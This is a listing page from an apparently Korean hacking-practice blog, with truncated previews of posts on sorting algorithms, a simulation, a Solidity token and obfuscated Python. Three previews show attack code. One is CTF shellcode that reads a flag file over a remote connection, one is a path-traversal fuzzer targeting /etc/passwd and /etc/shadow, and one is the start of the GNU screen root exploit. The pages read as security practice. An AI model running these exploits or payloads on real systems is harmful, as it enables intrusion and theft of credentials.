본문 바로가기

hacking sorcerer

(373)
쉘코드를 만들어볼까요?! from pwn import * #context.binary = elf = ELF("./chall") p = remote("138.68.176.115", 32076) #p.recvuntil(b'Input your code here:') shellcode = asm( """ /* push b'/flag.txt\x00' */ push 0x74 lea rax, [rip + offset filename] push rax /* call open('rsp', 'O_RDONLY', 'rdx') */ push 5 /* 2 */ pop rax movq rdi, rsp xor esi, esi /* O_RDONLY */ syscall /* call sendfile(1, 'rax', 0, 0x7fffffff) */ mov r..
퀵 정렬 ! def quicksort(array): if len(array)
머지 머지 정렬! '''def merge_sort(arr): # 배열의 길이가 1보다 크면 수행 if len(arr) > 1: # 중간 지점을 구함 mid = len(arr) // 2 # 왼쪽 부분 배열 left = arr[:mid] # 오른쪽 부분 배열 right = arr[mid:] # 재귀 호출을 통해 왼쪽, 오른쪽 부분 배열을 정렬 merge_sort(left) merge_sort(right) # 병합 작업 시작 i = j = k = 0 while i
웹 fuzzer 응애 import requests # Set the URL and parameter to test url = "http://10.10.146.174/assets" parameter = "file" # Set the list of filenames to test filenames = [ "../../../etc/passwd", "../../../etc/shadow", "../../../etc/hosts", "../../../windows/system.ini", ] # Loop through the filenames and send a request for each one for filename in filenames: payload = {parameter: filename} r = requests.get(url..
간단한 시뮬레이션을 구성하는 방법 import random num_runs = 1000 has_foundation_long_term_wins = 0 has_foundation_short_term_wins = 0 no_foundation_long_term_wins = 0 no_foundation_short_term_wins = 0 for i in range(num_runs): has_foundation = random.choice([True, False]) holding_period = random.choice(["long-term", "short-term"]) if has_foundation and holding_period == "long-term": win_prob = 0.8 elif has_foundation and holding_..
solidity로 토큰 만들기 pragma solidity ^0.6.0; import " uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) public { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balanceOf[msg.sender] = totalSupply; } function transfer(address _to, uint256 _value) ..
난 몰러요 그런 거 나는 잘 몰러유~ #!/bin/bash echo "~ gnu/screenroot ~" echo "[+] First, we create our shell and library..." cat > /tmp/libhax.c
Put my sneakers on '''(lambda _, __, ___: _(_, __, ___))(lambda _, __, ___: chr(___ % __) + _(_, __, ___ // __), *(lambda _: _(_ - 1))(100)) f=lambda:[[int(c)for c in s.strip()]for s in open("life.txt")] g=lambda m,x,y:sum(m[x+i][y+j]for i in(-1,0,1)for j in(-1,0,1)if(i or j)and m[x+i][y+j]) h=lambda m:[[g(m,x,y)in(3,2)and m[x]여기 처음 나오는 코드는 IOCCC 코드를 참고하였는데 처음에 이런 걸 시도했다가는 주화입마에 빠질 수 있으니 참고만 하시는 걸로 큐큐[y]or g(m,x,y..